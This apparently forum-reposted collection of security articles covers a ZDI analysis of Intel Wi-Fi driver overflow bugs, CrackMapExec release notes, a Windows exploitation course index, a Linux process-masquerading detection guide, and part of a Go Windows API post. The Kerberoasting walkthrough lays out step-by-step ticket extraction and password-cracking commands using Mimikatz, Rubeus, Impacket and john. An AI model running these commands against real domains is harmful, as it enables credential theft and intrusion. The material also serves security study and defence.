[ANALYZING A TRIO OF REMOTE CODE EXECUTION BUGS IN INTEL WIRELESS ADAPTERS]

ANALYZING A TRIO OF REMOTE CODE EXECUTION BUGS IN INTEL WIRELESS ADAPTERS

May 05, 2020 | Vincent Lee

SUBSCRIBE

Earlier this month, we published three memory corruption bugs (ZDI-20-494, ZDI-20-495, and ZDI-20-496 - collectively referred to as CVE-2020-0558) affecting two Windows Wi-Fi drivers for various Intel dual-band wireless adapters. According to the vendor, these drivers are intended for the AC 7265 Rev D, AC 3168, AC 8265, and AC8260 wireless adapters. Both ZDI-20-494 and ZDI-20-496 are out-of-bounds write vulnerabilities that share a common root cause and reside in both drivers, namely Netwtw04.sys and Netwtw06.sys. ZDI-20-495 is a stack buffer overflow vulnerability that affects the Netwtw06.sys driver only. These bugs were discovered by Haikuo Xie and Ying Wang of Baidu Security Lab and were originally reported to the ZDI at the end of November 2019.

You may find a copy of the PoCs for all three vulnerabilities at our GitHub page and poke at them yourself. The PoCs have been tested against the AC 3168 and AC 8260 adapters using the Qualcomm Atheros AR9271-based USB network adapter.

All three vulnerabilities require the victim to enable the “Mobile Hotspot” feature. An attacker could exploit these vulnerabilities by simply connecting to the wireless network with malicious 802.11 MAC frames without knowing the password for the mobile hotspot.

ZDI-20-495

This stack-buffer overflow vulnerability exists in the Netwtw06.sys driver. The PoC sends four 802.11 MAC frames to the victim mobile hotspot, triggering a BSOD on the victim machine. The cause of the vulnerability is straightforward. An overly long SSID is passed to a vulnerable function through the Tag-length-value encoded information element tagged-parameter located within an 802.11 association request frame body. Below is the dissection of the malicious frame, as generated with the Scapy utility:

View fullsize

Figure 1 - Packet dissection of the malicious 802.11 Frame

In the above diagram, we can see the information element with the ID 0x00, which corresponds to the SSID, has a length of 55 bytes. The long SSID string follows.

The vulnerable function, prvhPanClientSaveAssocResp(), copies the SSID into a fixed-length stack buffer through memcpy_s() with an incorrect DstSize parameter. Instead of the destination buffer size, it supplies the attacker-provided SSID length. Below is a disassembly code snippet of the prvhPanClientSaveAssocResp() function taken from version 20.70.13.2 of the driver.

View fullsize

Figure 2 - Disassembly of the vulnerable function prvhPanClientSaveAssocResp()

At 0x1403A7F5C, r8 points to the start of the SSID information element. At 0x1403A7F66, the attacker provided SSID length (55) is passed to DstSize, and this value is later passed into MaxCount as well. Passing the SSID length in this manner defeats the security of memcpy_s() and is the essence of this vulnerability. If we look further up the disassembly, we can see the stack buffer, var_4C, is 36 bytes long only:

View fullsize

Figure 3 - Stack buffer var_4C

When memcpy_s() proceeds to copy the attacker-controlled buffer into the undersized stack buffer variable, a buffer overflow condition occurs.

ZDI-20-494 and ZDI-20-496

Since these two vulnerabilities share the same root cause, we will discuss ZDI-20-494 only. An out-of-bounds write vulnerability exists within the processing of association request frames. In order to reach the vulnerable code path, the attacker must first send an authentication request[1] before sending the malicious association request. The attacker sends an association request frame containing an information element with the ID of 59 (0x3B), which corresponds to Supported Operational Classes. The value of the information element consists of 221 null bytes. A frame dissection of the request follows:

View fullsize

Figure 4 - Packet dissection of the malicious association request sent by the PoC

The driver calls two functions to handle the information element: prvPanCnctProcessAssocSupportedChannelList() and utilRegulatoryClassToChannelList(). In the handling of the malicious request, prvPanCnctProcessAssocSupportedChannelList() attempts to call the function utilRegulatoryClassToChannelList() 221 times, corresponding to the information element length. Below is a disassembly code snippet of the prvPanCnctProcessAssocSupportedChannelList() function taken from version 19.51.23.1 of the Netwtw04.sys driver:

View fullsize

Figure 5 - Disassembly snippet of prvPanCnctProcessAssocSupportedChannelList ()

At 0x140388500, the ebx loop index is initialized to 0. The loop exit condition at 0x1403885AF compares the loop index ebx with the information element length stored in the eax register from four instructions prior[2]. The utilRegulatoryClassToChannelList() function is called within the loop body at 0x140388559. The third argument to the function is a memory buffer address passed through the r8 register, which is the address of the buffer affected by this out-of-bounds write vulnerability. Also note that at 0x14088502, the first DWORD of the buffer is initialized to zero.

The utilRegulatoryClassToChannelList() function reads the first DWORD of the buffer from the vulnerable buffer as an index and uses it as an offset to write 0xFF bytes of data to itself. This occurs every time the function is called. Due to a lack of bounds checking, it is possible for the index to point to memory regions beyond the end of the buffer when this function is called repeatedly.

View fullsize

Figure 6 - Disassembly of utilRegulatoryClassToChannelList()

At 0x1400D06A8, the vulnerable buffer from the third argument is transferred to the rbx register. At 0x140D068F, the loop index edi is initialized to 0 prior to entering the loop body. This will iterate for 0xFF times. In the basic block starting from 0x140D0718, the first DWORD from the buffer is read and stored in the eax register. This value is immediately used as an offset to the vulnerable buffer and a byte is written to it. At 0x1004D0729, the first DWORD of the vulnerable buffer is incremented. An out-of-bounds write condition occurs when the utilRegulatoryClassToChannelList() function is called more than two times.

Conclusion

Although the triggering conditions for these bugs are quite rare, it is still very interesting to see bugs in the data link layer to come through our program. While there have been a few talks on fuzzing the information element, we are not seeing many analyses and discoveries of Wi-Fi-based bugs. The IEEE 802.11 family of wireless technology standards offer a vast attack surface, and the vulnerability researcher community has barely begun to scrutinize the protocol. A good driver bug from this attack vector gives direct access to the kernel. When compared to web browser-based attacks, which require multiple bugs and sandbox escapes, the Wi-Fi attack vector could be an interesting alternate vector for attackers to consider. For those interested in learning more about the IEEE 802.11 family of standards, 802.11 Wireless Networks: The Definitive Guide written by Matthew S. Gast is a great resource to start your learning.

You can find me on Twitter @TrendyTofu, and follow the team for the latest in exploit techniques and security patches.

Footnotes

[1] An authentication request is not to be confused with the Robust Security Network, also known as RSN or WPA2, standard defined in IEEE 802.11i-2004. An authentication request is a low-level “authentication” that provides no meaningful network security. It is better to think of this as a station identifying itself to the network.

[2] Since the index starts from zero, eax is decremented once prior to comparison to avoid an off-by-one mistake. This looks like a for-loop was converted into a do-while loop at compile time. Such conversions are often done to reduce the number of jump instructions and to reduce the loop overhead. For those interested in learning more about loop optimization, consider reading section 12 of Optimizing subroutines in assembly language: An optimization guide for x86 platforms by Agner Fog.

 

Sursa: https://www.zerodayinitiative.com/blog/2020/5/4/analyzing-a-trio-of-remote-code-execution-bugs-in-intel-wireless-adapters

[CrackMapExec v5.0.2dev]

CrackMapExec v5.0.2dev

💫 Features 💫

•  CME accepts a file as argument with option -x and -X
•  WinRM can now execute a command even if not local admin thanks to pypsrp lib
•  Kerberos support is added to CME 💥
•  commands --put-file and --get-file have been added allowing to put or get remote file
•  option --no-bruteforce has been added allowing you to spray credentials without bruteforce
•  CME will now always show FQDN 👮

🔧 Issues 🔧

•  Issues with SSH connection are fixed
•  MSSQL and WinRM protocoles have been updated allowing connections even if SMB is not open
•  Fix some encoding problems as always 💩
•  LSASSY module output has been improved when no credentials are found thanks to @Hackndo
•  encoding problem with GPP_PASSWORD and GPP_AUTOLOGIN should be fixed

🚀 Modules 🚀

•  both Metasploit and empire modules are back in the game
•  module wireless has been added to CME
•  module bh_owned has been added by @Hackndo allowing to send credentials from CME to bloodhound to mark a computer as owned 🐩

Also, thank you all for the support ! 💪

Assets6

cme-macOS-latest.zip46.7 MB

cme-ubuntu-latest.zip53.2 MB

cmedb-macOS-latest.zip46.7 MB

cmedb-ubuntu-latest.zip53.2 MB

Source code(zip)

Source code(tar.gz)

 

 

Sursa: https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.0.2dev

[Deep Dive into Kerberoasting Attack]

Deep Dive into Kerberoasting Attack

posted inRED TEAMING on MAY 5, 2020 by RAJ CHANDEL 

 SHARE

In this article, we will discuss kerberoasting attacks and other multiple methods of abusing Kerberos authentication. But before that, you need to understand how Kerberos authentication works between client-server communication.

“Kerberos is for authentication not for authorization, this lacuna allows kerberoasting”

Table of Content

SECTION A: Kerberos Authentication Flow

• Kerberos & its Major Components
• Kerberos Workflow using Messages

SECTION B: Service Principle Name SPN

• Service Principle Name SPN
• Important Points
• The SPN syntax has four elements
• Type of SPN

SECTION 😄 Kerberoasting Attack Walkthrough

• What is Kerberoasting
• Kerberoasting Major Steps
• PART 1: OLD Kerberoasting Procedure on Host System
  • Powershell Script
  • Mimikatz
• PART 2: NEW Kerberoasting Procedure on Host System
  • Rubeus.exe
  • ps1 Powershell Script
• PART 3: OLD Kerberoasting Procedure on Remote System
  • Powershell Empire
  • Metasploit
• PART 4: NEW Kerberoasting Procedure on Remote System
  • PowerShell Empire
  • Metasploit
  • Impacket

SECTION A: Kerberos Authentication Flow         

Table of Content

• Kerberos & its major Components
• Kerberos Workflow using Messages

KERBEROS & its Major Components

The Kerberos protocol defines how clients interact with a network authentication service. Clients obtain tickets from the Kerberos Key Distribution Center (KDC), and they submit these tickets to application servers when connections are established. It uses UDP port 88 by default and depends on the process of symmetric key cryptography.

“Kerberos uses tickets to authenticate a user and completely avoids sending passwords across the network”.

There are some key components in Kerberos authentication that play a crucial role in the entire authentication process.

Kerberos Workflow using Messages

In the Active Directory domain, every domain controller runs a KDC (Kerberos Distribution Center) service that processes all requests for tickets to Kerberos. For Kerberos tickets, AD uses the KRBTGT account in the AD domain.

The image below shows that the major role played by KDC in establishing a secure connection between the server & client and the entire process uses some special components as defined in the table above.

As mentioned above, Kerberos uses symmetric cryptography for encryption and decryption. Let us get into more details and try to understand how encrypted messages are sent to each other. Here we use three colours to distinguish Hashes:

• BLUE _KEY: User NTLM HASH
• YELLOW_KEY: Krbtgt NTLM HASH
• RED_KEY: Service NTLM HASH

Step 1: By sending the request message to KDC, client initializes communication as:

1. KRB_AS_REQ contains the following:

• Username of the client to be authenticated.
• The service SPN (SERVICE PRINCIPAL NAME) linked with Krbtgt account
• An encrypted timestamp (Locked with User Hash: Blue Key)

The entire message is encrypted using the User NTLM hash (Locked with BLUE KEY) to authenticate the user and prevent replay attacks.

Step 2: The KDC uses a database consisting of Users/Krbtgt/Services hashes to decrypt a message (Unlock with BLUE KEY) that authenticates user identification.

Then KDC will generate TGT (Ticket Granting Ticket) for a client that is encrypted using Krbtgt hash (Locked with Yellow Key) & some Encrypted Message using User Hash.

2. KRB_AS_REP contains the following:

• Username
• Some encrypted data, (Locked with User Hash: Blue Key) that contains:
  • Session key
  • The expiration date of TGT
• TGT, (Locked with Krbtgt Hash: Yellow Key) which contains:
  • Username
  • Session key
  • The expiration date of TGT
  • PAC with user privileges, signed by KDC

Step 3: The KRB_TGT will be stored in the Kerberos tray (Memory) of the client machine, as the user already has the KRB_TGT, which is used to identify himself for the TGS request. The client sent a copy of the TGT with the encrypted data to KDC.

3. KRB_TGS_REQ contains:

• Encrypted data with the session key
  • Username
  • Timestamp
• TGT
• SPN of requested service e.g. SQL service

Step 4: The KDC receives the KRB_TGS_REQ message and decrypts the message using Krbtgt hash to verify TGT (Unlock using Yellow key), then KDC returns a TGS as KRB_TGS_REP which is encrypted using requested service hash (Locked with Red Key) & Some Encrypted Message using User Hash.

4. KRB_TGS_REP contains:

• Username
• Encrypted data with the session key:
  • Service session key
• The expiration date of TGS
• TGS, (Service Hash: RED Key) which contains:
  • Service session key
  • Username
  • The expiration date of TGS
  • PAC with user privileges, signed by KDC

 

Step 5: The user sent the copy of TGS to the Application Server,

5. KRB_AP_REQ contains:

• TGS
• Encrypted data with the service session key:
  • Username
  • Timestamp, to avoid replay attacks

Step 6: The application attempts to decrypt the message using its NTLM hash and to verify the PAC from KDC to identify user Privilege which is an optional case.

Step 7:  KDC verifies PAC (Optional)

Step 8:  Allow the user to access the service for a specific time.

SECTION B: Service Principle Name SPN

Table of Content

• Service Principle Name SPN
• Important Points
• The SPN syntax has four elements
• Type of SPN

Service Principle Name 

The Service Principal Name (SPN) is a unique identifier for a service instance. Active Directory Domain Services and Windows provide support for Service Principal Names (SPNs), which are key components of the Kerberos mechanism through which a client authenticates a service.

Important Points

1. If you install multiple instances of a service on computers throughout a forest, each instance must have its SPN. 
2. Before the Kerberos authentication service can use an SPN to authenticate a service, the SPN must be registered on the account.
3. A given SPN can be registered on only one account. 
4. An SPN must be unique in the forest in which it is registered.
5. If it is not unique, authentication will fail.

The SPN syntax has four elements 

Type of SPN:

• Host-based SPNs which is associated with the computer account in AD, it is randomly generated 128-character long password which is changed every 30 days, hence it is no use in Kerberoasting attacks
• SPNs that have been associated with a domain user account where NTLM hash will be used.

Section 😄 Kerberoasting Attack Walkthrough

Table of Content

• What is Kerberoasting?
• Kerberoasting Major Steps
• PART 1: OLD Kerberoasting Procedure on Host System
  • Powershell Script
  • Mimikatz
• PART 2: NEW Kerberoasting Procedure on Host System
  • Rubesus.exe
  • ps1 Powershell Script
• PART 3: OLD Kerberoasting Procedure on Remote System
• Powershell Empire
• Metasploit
• PART 4: NEW Kerberoasting Procedure on Remote System
  • PowerShell Empire
  • Metasploit
  • Impacket

What is Kerberoasting?

Kerberoasting is a technique that allows an attacker to steal the KRB_TGS ticket, that is encrypted with RC4, to brute force application services hash to extract its password.

As explained above, the Kerberos uses NTLM hash of the requested Service for encrypting KRB_TGS ticket for given service principal names (SPNs). When a domain user sent a request for TGS ticket to domain controller KDC for any service that has registered SPN, the KDC generates the KRB_TGS without identifying the user authorization against the requested service.

An attacker can use this ticket offline to brute force the password for the service account since the ticket has been encrypted in RC4 with the NTLM hash of the service account.

Kerberoasting Major Steps

This attack is multiple steps process as given below:

Step 0: Access the Client system of the domain network by Hook or Crook.

Step 1: Discover or scan the registered SPN.

Step 2: Request for TGS ticket for discovered SPN using Mimikatz or any other tool.

Step 3: Dump the TGS ticket which may have extention .kirbi or ccache or service HASH (in some scenario)

Step 4: Convert the .kirbi or ccache file into a crackable format

Step 5: Use a dictionary for the brute force attack.

We have attack categories such as OLD or NEW kerberoasting on the Host or Remote system.

OLD Procedure: These are techniques where multiple kerberoasting steps are performed.

NEW Procedure: These are single-step techniques used for kerberoasting.

PART 1: OLD  Kerberoasting Procedure on Host System

Method 1: Powershell Script

Step 1: SPN Discover

Download “Find-PotentiallyCrackableAccounts.ps1” & “Export-PotentiallyCrackableAccounts.ps1” from here  on the host machine. These scripts will discover the SPN and save the output in CSV format.

1 2 3 4

Import-Module .\Find-PotentiallyCrackableAccounts.ps1 Find-PotentiallyCrackableAccounts.ps1 -FullData -Verbose Import-Module .\Export-PotentiallyCrackableAccounts.ps1 Export-PotentiallyCrackableAccounts

Another powershell script “GetUserSPns .ps1” Download it from here it will Query the domain to discover the SPNs that use User accounts as you can observe that we have found SPN name with the help of followed command.

1	.\GetUserSPns .ps1

Import the module in the powershell run the said command here I have enumerated SPN for SQL Service.

Step 2: Extract & Dump TGS_ticket & Obtain Hash

Here, I try to extract the KRB_TGS from inside the host memory with the help of another PowerShell script called “TGSCipher.ps1” which you can download from here and simultaneously convert the request output it into John format.

1	Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format John

As a result, we obtain the HASH string for the SQL Service.

Step 3: Brute Force HASH

Now, this is the last and desired phase where we have used a dictionary for brute-forcing the HASH, thus we saved above-enumerated hash in a text file and run the following command.

1	john --wordlist=/usr/share/wordlists/rockyou.txt hashes

Boom! Boom!!! And we’ve made a successful kerberoasting attack by obtaining a password for the SQL service.

Method 2: Mimikatz

Similarly, you can use mimikatz for the entire attack which means it can be used for SPN discovery and dumping the TGS ticket.

Step 1: SPN Discovery

Download and execute the mimikatz & run Kerberos::list command for SPN discovery.

1 2	./mimikatz.exe kerberos::list

Step 2: Dump TGS ticket

Run the export command for extracting the ticket named contains .kirbi extension.

1	kerberos::list /export

Step 3: Convert the Kirbi to Hash & Brute Force Hash

I renamed the obtain file name as “1-40a5000…..kirbi” into “raj.kirbi” and again convert raj.kirbi into john crackable format with the help of kirbi2john.py (possible at /usr/share/john/) named as “kirbihash”; then use john for brute force as done in 1st Method.

1 2 3

mv "1-40a5000…..kirbi" "raj.kirbi" /usr/share/john/kirbi2john.py raj.kirbi > kirbihash john --wordlist=/usr/share/wordlists/rockyou.txt kirbihash

PART 2: NEW Kerberoasting Procedure on Host System

Method 1: Rubeus.exe

Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one)

Rebeus.exe is a terrific tool as it comes with a kerberoast module that discovers SPN, extracts TGS, and dump service Hash, which can be done with the help of the following command.

1	./Rubeus.exe kerberoast /outfile:hash.txt

Step 2: Brute Force Hash

So, we have saved the service hash in the text file “hash.txt” and use a dictionary to brute force the hash and extract the service password using hashcat tool.

1	hashcat -m 13100 --force -a 0 hash.txt dict.txt

As a result, you can observe that we have extracted the password of the service.

Method 2: Kerberoast PowerShell Script

Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one)

Kerberoast.ps1 is a PowerShell script which is as similar above module, you can download it from here, it discovers the SPN, extract TGS and dump service Hash, this can be done with the help of the following command.

1 2	Import-Module .\Invoke-kerberoast.ps1 Invoke-kerberoast

Once you get the service hash, follow the above method to brute force the password.

Step 2: Brute Force Hash

Again, repeat the same procedure to brute force the hashes.

PART 3: OLD Kerberoasting Procedure on Remote System

Method 1: Metasploit

1. PowerShell script via meterpreter
   • ps1- SPN Discovery script
   • SetSPN Utility
   • ps1
2. Mimikatz via Metasploit

1. PowerShell script via meterpreter

Step1:  SPN Discovery

Download “Find-PotentiallyCrackableAccounts.ps1” & “Export-PotentiallyCrackableAccounts.ps1” from here in your local machine and upload it on the host machine through meterpreter session, then invoke PowerShell to execute the script remotely.

These scripts will discover the SPN and save the output in CSV format.

1 2 3 4

Import-Module .\Find-PotentiallyCrackableAccounts.ps1 Find-PotentiallyCrackableAccounts -FullData -Verbose Import-Module .\Export-PotentiallyCrackableAccounts.ps1 Export-PotentiallyCrackableAccounts

Download the Report.csv in your local machine.

The report.csv file will list the SPNs available in the host system.

Setspn – SPN Discovery Utility

Another method, obtain the meterpreter session by compromising the host machine and load PowerShell. Use setspn utility to list all SPNs in the domain.

1	setspn -T ignite -Q */*

As you can observe that again we have discovered the SPN for SQL service

Step 2: Extract & Dump TGS_ticket & Obtain Hash

Upload the PowerShell script “TGSCipher.ps1” and simultaneously convert the request output it into John format.

1 2	Import-Module .\Get-TGSCipher.ps1 Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format John

As a result, we obtain the HASH string for the SQL Service.

Step 3: Brute Force Hash

Again, repeat the same procedure to brute force the hashes.

2. Mimikatz via Metasploit

Once you have the meterpreter session of the host system then you can try to upload mimikatz.exe and then perform all steps discussed in Part 1 of section C.

Step 1: SPN Discovery

Download and execute the mimikatz & run Kerberos::list command for SPN discovery

1 2	./mimikatz.exe kerberos::list

Step 2: Dump TGS ticket

Run the export command for extracting the ticket named with .kirbi extension.

1	kerberos::list /export

Download the kirbi file in your local machine to convert it into the crackable format.

Step 3: Convert the Kirbi to Hash & Brute Force Hash

Again, I renamed the obtain file name as “2-40a5000…..kirbi” into “raj.kirbi” and again convert local.kirbi into john crackable format with the help of kirbi2john.py (possible at /usr/share/john/) named as “localhash”; then use john for brute force as done above.

1 2 3

mv "40a5000.....kirbi" "local.kirbi" /usr/share/john/kirbi2john.py local.kirbi > localhash john –wordlist=/usr/share/wordlists/rockyou.txt localhash

Method 2: PowerShell Empire

Step 1: SPN Discovery use setspn follow above method (Optional in this module)

Step 2: Extract & Dump TGS_ticket & Obtain Hash

Once you have empire agent, execute the below module which will extract and dumb .kirbi  format file for TGS ticket.

1 2	usemodule credential/mimikatz/extract_tickets execute

Step 3: Convert kirbi to hash & then Brute force

You can also tgscrack.py which a dedicated python script that converts kirbi format into the crackable format and then brute force the hashes to extract the password. Download it from here then run the following commands

1 2 3

mv [kirbi_file] [new.kirbi] python extractServiceTicketParts.py [path_of_new.kirbi_file] > ignitehash go run tgscrack.go -hashfile ignitehash -wordlist /usr/share/wordlists/rockyou.txt

PART 4: NEW Kerberoasting Procedure on Remote System

Method 1: PowerShell Empire

Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one)

Once you have Empire/agent then load invoke_kerberoast module, it is a cool module as it discovered the SPN, extracts the ticket, and dump the service hash from inside the TGS cipher.

1 2	usemodule credentials/invoke_kerberoast execute

As you can observe that it has dumped the service hash within a second of time.

Step 2: Brute Force Hash

Again, repeat the same procedure to brute force the hashes.

Method 2:  Metasploit

Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one)

If you are Metasploit interface lover then after obtaining a meterpreter session you can load the PowerShell and upload kerberoast.ps1 script, download it from here, it discovered the SPN, extract the TGS ticket then dump the service hash from inside the TGS cipher.

1 2	powershell_import /root/powershell/Invoke-kerberoast.ps1 powershell_execute Invoke-Kerberoast

Step 2: Brute Force Hash

Again, repeat the same procedure to brute force the hashes.

Method 3: Impacket

Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one)

Use Impacket inbuilt module “GetUSerSPNs.py”, it is a python script that it discovers SPN, extract TGS and dump service Hash, this can be done with the help of the following command:

1	./GetUserSPNs.py -request -dc-ip 192.168.1.105 ignite.local/yashika

It will dump the service hash and with the help of the dictionary, you can brute force it for extracting service passwords.

Step 2: Brute Force Hash

Again, repeat the same procedure to brute force the hashes.

1	john –wordlist=/usr/share/wordlists/rockyou.txt hashes

Reference: Microsoft Service Principal Names

https://www.tarlogic.com/en/blog/how-kerberos-works/

 

Sursa: https://www.hackingarticles.in/deep-dive-into-kerberoasting-attack/

[Windows exploitation]

Welcome! I am Fu11shade, I specialize in 0day research and offensive Windows exploitation, this course is to fill in the gap on the internet for Windows exploitation content. I am rapidly working to finish the last few (newly added) posts, everything should be finished by the end of this week. Currently about 5-6 missing posts so far.

This page provides a pathway for learning Windows exploit development, following the provided blog posts will allow you to learn Windows exploit development from the basics, to advanced kernel exploitation on a Windows 10 system with all the mitigations enabled.

This course can all be downloaded as a polished PDF book format [coming soon!]

---

Basic exploitation (late 1990’s - early 2010’s era)

https://github.com/FULLSHADE/OSCE is my repository with over 25 from scratch written exploits, these exploits are in-scope of the “basic exploitation” category of this series.

Fair warning, some of the following posts are not finished yet… Most everything else is

Id	Article	Author
0	Setting up Immunity and WinDBG with Mona.py	FullShade
1	Classic JMP ESP buffer overflow	FullShade
2	Local SEH buffer overflow	FullShade
3	Local SEH buffer overflow with a DEP bypass	FullShade
4	Remote SEH overflow with egghunters	FullShade
5	Remote SEH overflows & multi-stage jumps	FullShade
6	SEH overflows, alphanumber & unicode encoding bypass	FullShade
7	Bypassing SEH mitigations with DLL injection	FullShade
8	Code caving and backdooring PEs	FullShade

Windows Internals theory

Id	Article	Author
9	Understanding Windows security mitigations	FullShade
10	Understanding Windows memory data structures	FullShade
11	Understanding the PEB & WinDBG analysis	FullShade
12	Kernel Opaque data structures & access tokens	FullShade
13	Windows Kernel memory pool & vulnerabilities	FullShade
14	Basics of Kernel-mode driver (IRPs) & I/O requests	FullShade
15	IOCTL’s for kernel driver exploit development	FullShade

Windows kernel exploitation (2010 - 2013 era)

POCs and fully completed exploits can be found here https://github.com/FULLSHADE/HEVD-Exploits, more coming thing week

Id	Article	Author
16	Writing a Windows Kernel-Mode Driver - Part 1	FullShade
17	HEVD - Windows 7 x86 Kernel Stack Overflow	FullShade
18	HEVD - Windows 7 x86 Kernel NULL Pointer Dereference	FullShade
19	HEVD - Windows 7 x86 Kernel Type Confusion	FullShade
20	HEVD - Windows 7 x86 Kernel Arbitrary Write	FullShade
21	HEVD - Windows 7 x86 Kernel Use-After-Free	FullShade
22	HEVD - Windows 7 x86 Kernel Interger Overflow	FullShade
23	HEVD - Windows 7 x86 Kernel Uninitialized Stack Variable	FullShade
24	HEVD - Windows 7 x86 Kernel Pool Overflow	FullShade
25	HEVD - Windows 7 x86_64 Kernel Stack Overflow	FullShade
26	HEVD - Windows 7 x86_64 Kernel Arbitrary Write	FullShade

Advanced Windows kernel exploitation (2016 - 2020 era)

Id	Article	Author
27	HEVD - Windows 8.1 64-bit Kernel Stack Overflow w/ SMEP	FullShade
28	Leaking Kernel Addresses on Windows 10 64-bit	FullShade
29	Abusing GDI Bitmap objects on Windows 10 64-bit	FullShade

Hunting Windows 0days

Once you have enough Windows exploitation knowledge, you can start auditing third-party applications and drivers for 0day vulnerabilities, below are a few that have been discovered with this level of information.

• https://fullpwnops.com/cves.html

Discovered 0days by me can be found littered around my Github profile, more organization will come soon

Id	Article	Author
30	Fuzzing drivers for 0days, discover new vulnerabilities	FullShade

 

Sursa: https://fullpwnops.com/windows-exploitation-pathway.html

[Detecting Linux kernel process masquerading with command line forensics]

Detecting Linux kernel process masquerading with command line forensics

By Craig Rowland on 27 Apr 2020

 

Linux kernel process masquerading is sometimes used by malware to hide when it is running. Let’s go over how you can unmask a piece of Linux malware using this tactic.

What is Linux kernel process masquerading?

On Linux, the kernel has many threads created to help with system tasks. These threads can be for scheduling, disk I/O, and so forth. 

When you use a standard process listing command, such as ps, these threads will show up as having [brackets] around them to denote that they are threads of some kind. Ordinary processes will not normally show up with [brackets] around them in the ps listing. The brackets denote that the process has no command-line arguments, which usually means it was spawned as a thread.

For example, the below listing shows kernel threads vs. normal processes:

ps –auxww

Figure 1 — Linux kernel threads vs. normal processes.

What does it look like?

Linux malware uses a variety of techniques to hide from detection. 

One method they will use is to try to impersonate a kernel thread by making the process show [brackets] around its name in the ps listing. Administrators can easily overlook a malicious process this way.

If you look at the listing below, we have started a process to hide itself by trying to look like a kernel thread. Can you see it?

Figure 2 — An example of Linux kernel thread masquerading hiding.

How to impersonate a Linux kernel thread

Now that you know what Linux kernel thread masquerading looks like, let’s set up a test so you can play with how to find it using command line forensics. 

We’ll use the sleep command for our simulation as you can do it on any system without fear of causing trouble:

export PATH=.:$PATH 
cp /bin/sleep /tmp/[kworkerd] 
cd /tmp 
"[kworkerd]" 3600 &

The export path sets things so we can execute the file in the local directory without needing to put a “./” in front of it. This makes it look more legit.

We next copy the sleep command over to /tmp and then run it under the bogus name [kworkerd]. We put on a value of 3,600 seconds to the sleep command so it will quietly exit after an hour once testing is over.

Let’s look at our handiwork and we should see [kworkerd] running when we do our ps command.

ps -auxww

Figure 3 — Real vs. imposter Linux kernel thread.

De-cloaking Linux kernel thread masquerading with process maps

The first method we’ll use to de-cloak a masquerading process is to see if it has any contents under /proc/<PID>/maps.

This location is normally where processes show libraries they are linking to and where they mapped to in memory. For real kernel threads, it should be empty. If you look at this location for a process that is named in [brackets] but it shows any data, then it is not a real kernel thread.

The basic command we’ll use is cat /proc/<PID>/maps where <PID> is the process ID we are investigating. In the above example, we think that [kworkerd] looks suspicious with PID 2121 so we’ll check it out:

cat /proc/2121/maps

Figure 4 — Using Linux /proc maps to detect kernel masquerading.

If you see anything listed under this area and the process has [brackets] around it, then it’s likely malicious and trying to hide.

If you want, you can run this command to quickly go over all the system PIDs and see which ones are named with brackets but have maps files. Normally you should see nothing here. Anything that shows data should be investigated further.

ps auxww | grep \\[ | awk '{print $2}' | xargs -I % sh -c 'echo PID: %; cat /proc/%/maps' 2> /dev/null

This command outputs the image below if it finds something.

Figure 5 — Finding Linux kernel masquerading with a script.

In the /proc/<PID>/maps;listing you’ll see some paths to investigate where the binary has links to itself or libraries it is using. In the above, we see the path /tmp/[kworkerd] which would be a high priority location to investigate. You may also see libraries that are suspicious, references to hidden directories, and so forth. Take a close look at it and be sure you don’t miss anything!

De-cloaking Linux kernel thread masquerading with cryptographic hashing

Another way to de-cloak a masquerading Linux kernel thread is to see if it shows a binary attached to the running process. Basically, you just use the technique we discussed on recovering malicious binaries that are deleted, but see if you can get a SHA1 hash. If you get a hash back, then it’s a normal process trying to hide and is not a kernel thread. Real kernel threads won’t have a link to the binary that started them. This technique was suggested by @r00tkillah on Twitter when this subject was first posted.

A process binary on Linux can be quickly copied if you simply look at /proc/<PID>/exe. You can copy this file to a new location and have an instant snapshot of the binary that started the process. You can also use this link to get an instant hash to check against databases of known malware. Real kernel threads won’t have this data available, only imposters will.

In our case, we’ll use this knowledge to investigate our suspicious PID 2121 like this:

sha1sum /proc/2121/exe

Figure 6 — Obtaining SHA1 hash of Linux kernel masquerading attack.

Now we see the hash, let’s recover the binary and copy it somewhere so it can be analyzed offline. Using the command below we’ll make a copy to /tmp/suspicious_bin. Now, we have our own copy in case the malware tries to delete itself in self-defence:

cp /proc/2121/exe /tmp/suspicious_bin

Figure 7 — Recovering suspicious Linux malware binary.

If you want to automatically crawl through the PIDs and get SHA1 hashes of imposters, you can run this command:

ps auxww | grep \\[ | awk '{print $2}' | xargs -I % sh -c 'echo PID: %; sha1sum /proc/%/exe' 2> /dev/null

The above command will try to get a SHA1 hash of all processes with [brackets] around them. Any that return a hash are likely imposters:

Figure 8 — Script output of SHA1 hash from masquerading Linux kernel thread.

Now you have two solid ways to use the Linux command line to investigate suspicious processes trying to masquerade as kernel threads.

Adapted from original post which appeared on Sandfly Security.

Craig Rowland is Founder and CEO of Sandfly Security.

 

Sursa: https://blog.apnic.net/2020/04/27/detecting-linux-kernel-process-masquerading-with-command-line-forensics/

[How To Call Windows APIs in Golang]

How To Call Windows APIs in Golang

 5 minute read

Well, it’s been quite a while since my last post, but it feels good to be back again. I’ve taken a break from doing exploit development stuff since getting my OSCE, I don’t have much of passion for it anymore. I’m not focusing more on reversing and creating malware. And this blog post is a result of me going down this path.

I’ve been learning a lot about Golang, trying to learn a new language and trying to future-proof my skill sets for a while. Go has actually been a blast to learn, but I needed to start tying it into my goal of learning how to develop malware. In this pursuit, I wanted to see the full realm of how Go can be utitlized to conduct malicious functions on users machines, and I soon after found out that you can call Windows APIs (similar to C programming) from within Go. Though I found this out, there is VERY LITTLE documentation about this, if any at all. I found one blog (which I will link soon after this introduction) that talks about it, but is already a tad dated and not super easy to follow for people like me (non-developers). Wanting to be the change I want in the world, I decided to make this blog.

One shoutout I have to make is to this blog which is the one I mentioned above and had the most robust explanation on this topic that I could find.

Without much more rambling, let’s get into the meat of this blog!

Different Libraries to Call Windows APIs

There are quite a few libraries within Golang that allow you to call windows APIs. To just name the ones I know of, there are syscall, windows, w32, and C. The last one doesn’t truly allow you to call APIs directly, but it allows you to write C code within your Golang source, and also help you convert data types to assist with these other libraries.

